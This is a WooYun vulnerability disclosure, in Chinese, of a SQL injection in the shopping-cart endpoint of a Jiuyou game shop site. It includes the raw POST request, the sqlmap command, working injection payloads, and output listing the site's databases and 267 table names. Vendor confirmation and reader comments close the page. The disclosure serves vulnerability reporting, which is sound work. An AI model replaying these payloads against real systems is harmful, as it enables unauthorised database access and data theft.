当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0163127

漏洞标题:久游网某站SQL注入

相关厂商:久游网

漏洞作者: 小川

提交时间:2015-12-21 12:32

修复时间:2016-02-01 10:51

公开时间:2016-02-01 10:51

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-21: 细节已通知厂商并且等待厂商处理中
2015-12-21: 厂商已经确认,细节仅向厂商公开
2015-12-31: 细节向核心白帽子及相关领域专家公开
2016-01-10: 细节向普通白帽子公开
2016-01-20: 细节向实习白帽子公开
2016-02-01: 细节向公众公开

简要描述:

什么样的节奏是最呀最摇摆?什么样的歌声才是最开怀?

详细说明:

ragecomic.png

漏洞证明:

cookie我删掉了,测试验证的时候可以先登录,然后把cookie辅助到这个请求里,然后再用sqlmap去跑sqlmap.py -r 1.txt --dbs --dbms=mysql --string="ouak6v3z1447067466"

POST http://shop.9you.com/cart/info HTTP/1.1
Host: shop.9you.com
Connection: keep-alive
Content-Length: 46
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://shop.9you.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://shop.9you.com/cart/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie:
cart_type=mb&item_key[]=ouak6v3z1447067466*
sqlmap identified the following injection points with a total of 41 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cart_type=mb&item_key[]=ouak6v3z1447067466') AND 4709=4709 AND ('tWvx'='tWvx
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: cart_type=mb&item_key[]=ouak6v3z1447067466');(SELECT * FROM (SELECT(SLEEP(5)))QGkB)#
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: cart_type=mb&item_key[]=ouak6v3z1447067466') AND (SELECT * FROM (SELECT(SLEEP(5)))GlAU) AND ('xGKb'='xGKb
Type: UNION query
Title: Generic UNION query (NULL) - 23 columns
Payload: cart_type=mb&item_key[]=ouak6v3z1447067466') UNION ALL SELECT NULL,CONCAT(0x716b766a71,0x426970725a4f4a46434a,0x71707a6b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
web application technology: PHP 5.3.29
back-end DBMS: MySQL 5.0.11
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cart_type=mb&item_key[]=ouak6v3z1447067466') AND 4709=4709 AND ('tWvx'='tWvx
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: cart_type=mb&item_key[]=ouak6v3z1447067466');(SELECT * FROM (SELECT(SLEEP(5)))QGkB)#
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: cart_type=mb&item_key[]=ouak6v3z1447067466') AND (SELECT * FROM (SELECT(SLEEP(5)))GlAU) AND ('xGKb'='xGKb
Type: UNION query
Title: Generic UNION query (NULL) - 23 columns
Payload: cart_type=mb&item_key[]=ouak6v3z1447067466') UNION ALL SELECT NULL,CONCAT(0x716b766a71,0x426970725a4f4a46434a,0x71707a6b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
web application technology: PHP 5.3.29
back-end DBMS: MySQL >= 5.0.0
available databases [4]:
[*] aushop
[*] information_schema
[*] mysql
[*] test
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cart_type=mb&item_key[]=ouak6v3z1447067466') AND 4709=4709 AND ('tWvx'='tWvx
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: cart_type=mb&item_key[]=ouak6v3z1447067466');(SELECT * FROM (SELECT(SLEEP(5)))QGkB)#
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: cart_type=mb&item_key[]=ouak6v3z1447067466') AND (SELECT * FROM (SELECT(SLEEP(5)))GlAU) AND ('xGKb'='xGKb
Type: UNION query
Title: Generic UNION query (NULL) - 23 columns
Payload: cart_type=mb&item_key[]=ouak6v3z1447067466') UNION ALL SELECT NULL,CONCAT(0x716b766a71,0x426970725a4f4a46434a,0x71707a6b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
web application technology: PHP 5.3.29
back-end DBMS: MySQL >= 5.0.0
available databases [4]:
[*] aushop
[*] information_schema
[*] mysql
[*] test
Database: aushop
[267 tables]
+----------------------------+
| 120112happy_lovers |
| 130619_wxbind_award_log |
| 130929_wabp_log |
| 131220_baoming_fam_data |
| 131220_baoming |
| 140327_vip_lb_badge |
| 140327_vip_lb_log |
| 140327_vip_lb |
| 140404_labachongji_log |
| 140520_mtlb_log |
| 140710_yidong_log |
| 140710_yidong |
| 140715_wabp_freeback_log |
| 20141220_repay_log |
| 20141220_repay |
| 20141220_vip_badge |
| 20141220_vip_item_log |
| 20150720_mtlb_log |
| 20151204_mtlb_log |
| 4familybgan |
| 4familycard |
| 4familylist |
| 4familylog |
| 4familypet |
| 4familypets |
| 4familytemp |
| 4familytguo |
| 4familyuser |
| 4magicexp |
| 4magiclove_log |
| 4magiclovestar |
| 4magicpets |
| 4magicuserinfo |
| active4_gift |
| active_02_get_log |
| active_02_log |
| active_02_pay_log |
| active_04_get_log |
| active_04_log |
| active_04_pay_log |
| active_05_get_log |
| active_05_log |
| active_05_pay_log |
| active_06_get_log |
| active_06_log |
| active_06_pay_log |
| active_07_get_log |
| active_07_log |
| active_07_pay_log |
| active_08_get_log |
| active_08_log |
| active_08_pay_log |
| active_10_get_log |
| active_10_log |
| active_10_pay_log |
| active_11_get_log |
| active_11_log |
| active_11_pay_log |
| active_15_get_log |
| active_15_log |
| active_15_pay_log |
| active_badge |
| active_badge_201503 |
| active_badge_615 |
| active_badge_july |
| active_badge_june |
| active_badge_yy |
| active_charts_07_get_log |
| active_charts_07_log |
| active_charts_07_pay_log |
| active_common |
| active_common_201412 |
| active_common_log |
| active_common_log_201412 |
| active_get_log |
| active_info |
| active_item |
| active_list |
| active_log |
| active_ol_get_log |
| active_ol_log |
| active_ol_pay_log |
| active_online |
| active_online_201503 |
| active_online_badge |
| active_online_badge_201503 |
| active_online_special |
| active_online_token |
| active_online_token2 |
| active_online_token3 |
| active_pay_log |
| active_rank |
| active_ranklist |
| active_wshg_20150228 |
| active_ylh_get_log |
| active_ylh_log |
| active_ylh_pay_log |
| active_ylh_vip |
| admin_log |
| admin_user |
| advert |
| appointments |
| au_anniversary |
| au_tenyear_addflower |
| au_tenyear_cdkey |
| au_tenyear_draw |
| au_tenyear_log |
| au_tenyear_sign |
| badge_buylog |
| badge_card |
| badge_card_log |
| badge_help_t |
| badge_info |
| badge_info_log |
| badge_info_log_back |
| badge_money |
| badge_ranking_list |
| badge_ranking_log |
| badgetlog |
| badgetlog_err |
| bc_common_log |
| buylogs |
| buylogs_luck |
| buylogs_temp |
| buylogs_temp2 |
| buylogs_tqlb |
| cart_give_info |
| cart_info |
| carts |
| carts_give |
| carts_mini |
| check_mysql_status |
| combine |
| combine_4647_bak |
| coupon |
| cp44trade |
| ddung_collect |
| discount_tickets |
| discount_uselog |
| family_party_t |
| faminfo |
| famitem_buylog |
| fampet_buylog |
| famrename |
| famrenameinfo |
| feiniu_coupon |
| fengting |
| freebuylog |
| freebuylog_20150310 |
| freebuylog_refund |
| freebuylog_refund_log |
| get_active_common |
| gift_get_item |
| gift_log |
| gift_log2013 |
| gift_log2014 |
| gift_log2015 |
| gift_log_2015 |
| gift_log_2016 |
| gift_mb |
| gift_mb_2011 |
| gift_mb_2012 |
| gift_mb_2013 |
| gift_mb_2013_2 |
| gift_mb_2014 |
| gift_mb_2015 |
| gift_mb_201503 |
| gift_mb_log |
| gift_mb_log_2011_12 |
| gift_mb_log_2013 |
| gift_mb_log_2014 |
| gift_shop |
| gift_shop_2011 |
| gift_shop_2012 |
| gift_shop_2013 |
| gift_shop_2013_1 |
| gift_shop_2014 |
| gift_shop_2015 |
| gift_shop_2016 |
| gift_test_shop |
| gift_test_shop_2012 |
| gift_test_shop_2013_1 |
| gift_test_shop_2013_2 |
| gift_test_shop_2013_3 |
| gift_test_shop_2014_1 |
| gift_test_shop_2014_2 |
| gift_test_shop_2014_6 |
| hiddenword |
| hope_data |
| horn_kb |
| horn_kb_err |
| horn_money |
| horn_money_errlog |
| horn_pool |
| horn_pool_errlog |
| horn_rank |
| horn_rank_log |
| horn_rank_log_v2 |
| imageshow_t |
| items |
| items_online |
| items_online_july |
| items_online_june |
| items_online_may |
| labck_roster |
| labck_vote |
| lastlogin_allzone_good |
| lottery |
| lottery_award |
| lottery_get_log |
| lovedata_blacklist |
| loverheartlog |
| luckydraw_0401_contact |
| luckydraw_0401_user_t |
| magic_buylog |
| member_badge |
| mtlb_card_list |
| mtlb_item_list |
| nickname_card |
| nickname_log |
| old_temp_candies |
| old_temp_common |
| old_temp_common_log |
| online_blacklist |
| order_detail |
| order_online |
| orders |
| rank_blacklist |
| rank_game_horn_list |
| rank_guild_temp |
| ranking_list |
| return_20150720 |
| ring_info |
| rush_buy_info |
| rush_buy_items |
| rush_gift_get_log |
| rush_gift_pay_log |
| shop_marquee |
| skin_log |
| skin_t |
| slave_check |
| temp_candies |
| temp_common |
| temp_common_log |
| tenyear_ring |
| tk_order_detail |
| tk_orders |
| top_buylog |
| user_band_server |
| user_fx_protect |
| user_fx_protect_log |
| user_lottery |
| user_lottery_log |
| vip_badge_active |
| vip_badge_active_log |
| vip_card |
| vip_item_log |
| vote_card |
| vote_card_log |
| wabp_buylog |
| ylh_common_log |
| yy_login |
| yy_login_log |
| yy_order |
| yy_user |
| yzbp_roster |
| yzbp_vote |
+----------------------------+

修复方案:

过滤

版权声明:转载请注明来源 小川@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-12-21 16:42

厂商回复:

非常感谢。

最新状态:

暂无


漏洞评价:

评价

  1. 2015-12-21 12:51 | 头晕脑壳疼 ( 普通白帽子 | Rank:368 漏洞数:85 | 我是网络小菜鸟)

    暴走漫画又来了!

  2. 2015-12-21 13:42 | 大亮 ( 普通白帽子 | Rank:333 漏洞数:67 | 慢慢挖洞)

    啊,我劲舞团帐号怎么进不去了

  3. 2015-12-22 09:08 | kevinchowsec ( 实习白帽子 | Rank:51 漏洞数:17 | 周凯文,信息安全爱好者。)

    弯弯的...

  4. 2015-12-22 18:07 | DeadSea ( 实习白帽子 | Rank:86 漏洞数:28 | 静心)

    前排瓜子 合金F5